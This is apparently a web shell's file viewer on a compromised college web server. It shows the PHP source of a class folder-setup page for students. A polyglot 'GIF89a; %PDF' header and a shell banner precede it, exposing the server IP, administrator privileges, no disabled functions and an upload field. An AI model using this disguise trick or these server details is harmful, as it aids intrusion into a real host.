GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/Setup/ClassFolderSetup/ |
Upload File : |
<? // JimMartinson/Setup/ClassFolderSetup/index.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. include('application.phpinc'); if ( !isset($Instructor) ) include('common/InstructorInfo.phpinc'); $courseNumber = formValue('courseNumber',''); if ($courseNumber == '') $courseNumber = 'CSTxxxx'; $dataFolder = formValue('dataFolder',''); $Labs = formValue('Labs',''); if ($courseNumber != 'CSTxxxx') { $courseNumberComment = ''; } else { $courseNumberComment = ' where <b>CSTxxxx</b> is the number of the course you are taking'; } $courseTitle = formValue('courseTitle',''); $_SESSION['courseNumber'] = $courseNumber; $title = "Class Folder Setup"; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $js="driveReplace,div"; include('common/pageHeader.phpinc'); ?> <script type="text/javascript"> var defaultDriveLetter = 'C'; <? if ($dataFolder !='') { ?> var numberForms = 4; var numberImages = 4; <? } else { ?> var numberForms = 2; var numberImages = 2; <? } ?> var pageURL = '../drive_Selected.php'; </script> <? //include('Login/authenticate.phpinc'); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title; include('common/sectionHeader.phpinc'); ?> <p> <? /** / $fileWeb_Ex = '/'.$Instructor['Name'].'/'.$courseNumber.'/Web_ExRecordings/'.$courseNumber.'_Lab01_'.str_replace(' ','_',$title).'.wrf'; #printVar('$fileWeb_Ex',$fileWeb_Ex); #printVar("\$_SERVER['DOCUMENT_ROOT']\.$fileWeb_Ex",$_SERVER['DOCUMENT_ROOT'].$fileWeb_Ex); if (file_exists($_SERVER['DOCUMENT_ROOT'].$fileWeb_Ex)) { ?> View the <a href="<?=$fileWeb_Ex?>"><?=$title?></a> Web_Ex recording. You need to install the <a href="../Web_Ex/Web_Ex_WRF_Player_v2.9.1109.msi">Web_Ex player</a> to view the recording.<br> <? } /**/ ?> Setup your computer and install the software used in class. <span class="normal"> <br> I get a lot of calls from students who have something not work during the class setup. About 90% of the time it is because they did not follow the instructions. </span> <br><span class="bold error">Take your time and follow the instructions carefully!</span> <span class="normal"> <br> You should complete each setup page in its entirety but you can stop and restart between pages. </span> </p> <p> I suggest that you keep your class software and data on a drive partition other than the one your operating system is on. <span class="normal"> <br> The Windows operating system is vulnerable to failure. If your data is on the same drive partition as Windows it can become irretrievable if the OS fails. <br> If you have a leased laptop from the College you should put everything on the <b>D:</b> drive. <br> Take a look at your computer setup. If you have another hard drive partition that you can create your data folder and installations on please select it. <br> If you do not have another hard drive partition then select the C: drive. <br> If you are unsure then ask your Instructor. <br> In any case you should backup your work to a flash drive, external hard drive, or CD-RW whenever substantial work had been done. </span> </p> <? $driveNumber = ord($_SESSION['userDefaultDrive'])-65; $driveColumn = $driveNumber % 13; $driveRow = floor(($driveNumber+0.01)/13); $driveRowYstart = $driveRow*24; $driveColumnXstart = $driveColumn*37; $offsetY = ($driveRowYstart); $offsetX = ($driveColumnXstart-480); ?> <div style="margin-left:10px;"> Select the drive you will be using below: <span class="normal">(This will change the instructions to reflect the drive you selected)</span><br> <map id="driveSelect" name="driveSelect"> <area alt="A:" title="A: drive" shape="rect" coords="0,0,35,21" href="" onclick="getDrive('A'); return false;" /> <area alt="B:" title="B: drive" shape="rect" coords="37,0,72,21" href="" onclick="getDrive('B'); return false;" /> <area alt="C:" title="C: drive" shape="rect" coords="74,0,109,21" href="" onclick="getDrive('C'); return false;" /> <area alt="D:" title="D: drive" shape="rect" coords="111,0,146,21" href="" onclick="getDrive('D'); return false;" /> <area alt="E:" title="E: drive" shape="rect" coords="148,0,183,21" href="" onclick="getDrive('E'); return false;" /> <area alt="F:" title="F: drive" shape="rect" coords="185,0,220,21" href="" onclick="getDrive('F'); return false;" /> <area alt="G:" title="G: drive" shape="rect" coords="222,0,257,21" href="" onclick="getDrive('G'); return false;" /> <area alt="H:" title="H: drive" shape="rect" coords="259,0,294,21" href="" onclick="getDrive('H'); return false;" /> <area alt="I:" title="I: drive" shape="rect" coords="296,0,331,21" href="" onclick="getDrive('I'); return false;" /> <area alt="J:" title="J: drive" shape="rect" coords="333,0,368,21" href="" onclick="getDrive('J'); return false;" /> <area alt="K:" title="K: drive" shape="rect" coords="370,0,405,21" href="" onclick="getDrive('K'); return false;" /> <area alt="L:" title="L: drive" shape="rect" coords="407,0,442,21" href="" onclick="getDrive('L'); return false;" /> <area alt="M:" title="M: drive" shape="rect" coords="444,0,479,21" href="" onclick="getDrive('M'); return false;" /> <area alt="N:" title="N: drive" shape="rect" coords="0,24,35,45" href="" onclick="getDrive('N'); return false;" /> <area alt="O:" title="O: drive" shape="rect" coords="37,24,72,45" href="" onclick="getDrive('O'); return false;" /> <area alt="P:" title="P: drive" shape="rect" coords="74,24,109,45" href="" onclick="getDrive('P'); return false;" /> <area alt="Q:" title="Q: drive" shape="rect" coords="111,24,146,45" href="" onclick="getDrive('Q'); return false;" /> <area alt="R:" title="R: drive" shape="rect" coords="148,24,183,45" href="" onclick="getDrive('R'); return false;" /> <area alt="S:" title="S: drive" shape="rect" coords="185,24,220,45" href="" onclick="getDrive('S'); return false;" /> <area alt="T:" title="T: drive" shape="rect" coords="222,24,257,45" href="" onclick="getDrive('T'); return false;" /> <area alt="U:" title="U: drive" shape="rect" coords="259,24,294,45" href="" onclick="getDrive('U'); return false;" /> <area alt="V:" title="V: drive" shape="rect" coords="296,24,331,45" href="" onclick="getDrive('V'); return false;" /> <area alt="W:" title="W: drive" shape="rect" coords="333,24,368,45" href="" onclick="getDrive('W'); return false;" /> <area alt="X:" title="X: drive" shape="rect" coords="370,24,405,45" href="" onclick="getDrive('X'); return false;" /> <area alt="Y:" title="Y: drive" shape="rect" coords="407,24,442,45" href="" onclick="getDrive('Y'); return false;" /> <area alt="Z:" title="Z: drive" shape="rect" coords="444,24,479,45" href="" onclick="getDrive('Z'); return false;" /> </map> <img src="../drive_All2.png" id="drivesImage" name="drivesImage" alt="Drives" usemap="#driveSelect" height="45" width="480" style="position:relative; z-index:0;" /><img src="../drive_Selected.png" id="filterImage" name="filterImage" alt="" style="position:absolute; margin-left:<?=$offsetX?>px; margin-top:<?=$offsetY?>px; filter:alpha(opacity=45); -moz-opacity: 0.45; opacity: 0.45; z-index:1;" /> <br> <form name="driveForm1" action="../drive_Selected.php" method="post" style="margin:0px; padding:0px; display:inline;"><input type="hidden" id="driveSelection" name="driveSelection" value="<?=$_SESSION['userDefaultDrive']?>" />You have selected the <input type="text" id="driveSelected1" value="<?=$_SESSION['userDefaultDrive']?>:" class="bold center" style="width:1.25em; border:0px;" /> drive.</form> <div id="replaceDrive" class="inline" style="display:none;"> <br> <span class="attention">From now on you will need to replace any instructions I give you in class that mention the <b class="bold">C:</b> drive with the</span> <form name="driveForm2" action="" style="margin:0px; padding:0px; display:inline;"><input type="text" id="driveSelected2" value="<?=$_SESSION['userDefaultDrive']?>:" class="bold center" style="width:1.25em; border:0px; font-size:1em;" /></form> <span class="attention">drive you selected.</span></div> </div> <ol class="instruction"> <li> Create a <b><?=$courseNumber?></b> folder on the root of your <form name="driveForm3" action="" style="margin:0px; padding:0px; display:inline;"><input type="text" id="driveSelected3" value="<?=$_SESSION['userDefaultDrive']?>:" class="bold center" style="width:1.25em; border:0px;" /></form> drive<?=$courseNumberComment?>. <br> <? if ($courseNumber != $dataFolder && $dataFolder != '') { ?> This will be the root folder you will use to keep your class utilities. <? } else { ?> This will be the root folder you will use to keep your class data and utilities. <? } ?> <br> <div style="position:relative; width:506px; height:387px;"> <img src="../window.png" style="position:absolute; width:506px; height:387px; z-index:0" alt="" /> <img src="../folder<?=$_SESSION['userDefaultDrive']?>.png" id="driveImage1" name="driveImage1" style="position:absolute; margin-left:53px; margin-top:94px; z-index:1;" alt="" /> <div style="position:absolute; margin-left:86px; margin-top:93px; z-index:1; font-family:Tahoma, Arial, Helvetica, sans-serif; font-size:11px;">\<?=$courseNumber?></div> </div> </li> <li> Create an <b>Install</b> folder inside the <b><?=$courseNumber?></b> folder<?=$courseNumberComment?>. <br> This is the folder you will use to keep any class software installation files. <div style="position:relative; width:506px; height:387px;"> <img src="../window.png" style="position:absolute; width:506px; height:387px; z-index:0" alt="" /> <img src="../folder<?=$_SESSION['userDefaultDrive']?>.png" id="driveImage2" name="driveImage2" style="position:absolute; margin-left:53px; margin-top:94px; z-index:1;" alt="" /> <div style="position:absolute; margin-left:86px; margin-top:94px; z-index:1; font-family:Tahoma, Arial, Helvetica, sans-serif; font-size:11px;">\<?=$courseNumber?>\Install</div> </div> </li> <? if ( $Labs != '') { ?> <li> Create an <b><?=$Labs?></b> folder inside the <b><?=$courseNumber?></b> folder<?=$courseNumberComment?>. <br> This is the folder you will use to keep any class lab work. <div style="position:relative; width:506px; height:387px;"> <img src="../window.png" style="position:absolute; width:506px; height:387px; z-index:0" alt="" /> <img src="../folder<?=$_SESSION['userDefaultDrive']?>.png" id="driveImage2" name="driveImage2" style="position:absolute; margin-left:53px; margin-top:94px; z-index:1;" alt="" /> <div style="position:absolute; margin-left:86px; margin-top:94px; z-index:1; font-family:Tahoma, Arial, Helvetica, sans-serif; font-size:11px;">\<?=$courseNumber?>\<?=$Labs?></div> </div> </li> <? } ?> <? if ($dataFolder !='') { ?> <li> Create a <b><?=$dataFolder?></b> folder on the root of your <form name="driveForm4" action="" style="margin:0px; padding:0px; display:inline;"><input type="text" id="driveSelected4" value="" class="bold center" style="width:1.25em; border:0px;" /></form> drive. <br> This will be the root folder that Apache will display in your browser. <br> <div style="position:relative; width:506px; height:387px;"> <img src="../window.png" style="position:absolute; width:506px; height:387px; z-index:0" alt="" /> <img src="../folder<?=$_SESSION['userDefaultDrive']?>.png" id="driveImage3" name="driveImage3" style="position:absolute; margin-left:53px; margin-top:94px; z-index:1;" alt="" /> <div style="position:absolute; margin-left:86px; margin-top:93px; z-index:1; font-family:Tahoma, Arial, Helvetica, sans-serif; font-size:11px;">\<?=$dataFolder?></div> </div> </li> <li> Create an <b><?=$courseNumber?></b> folder inside the <b><?=$dataFolder?></b> folder<?=$courseNumberComment?>. <br> This is where you will keep all of your work for class. <div style="position:relative; width:506px; height:387px;"> <img src="../window.png" style="position:absolute; width:506px; height:387px; z-index:0" alt="" /> <div style="position:absolute; margin-left:86px; margin-top:94px; z-index:1; font-family:Tahoma, Arial, Helvetica, sans-serif; font-size:11px;">\<?=$dataFolder?><?=$dirSep?><?=$courseNumber?></div> <img src="../folder<?=$_SESSION['userDefaultDrive']?>.png" id="driveImage4" name="driveImage4" style="position:absolute; margin-left:53px; margin-top:94px; z-index:1;" alt="" /> </div> </li> <? } ?> </ol> If you have created the directories then that's it for <?=$courseNumber?> class setup. You can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window. <script type="text/javascript"> getDrive('<?=$_SESSION['userDefaultDrive']?>'); </script> <? include('common/sectionFooter.phpinc'); include('common/pageFooter.phpinc'); ?>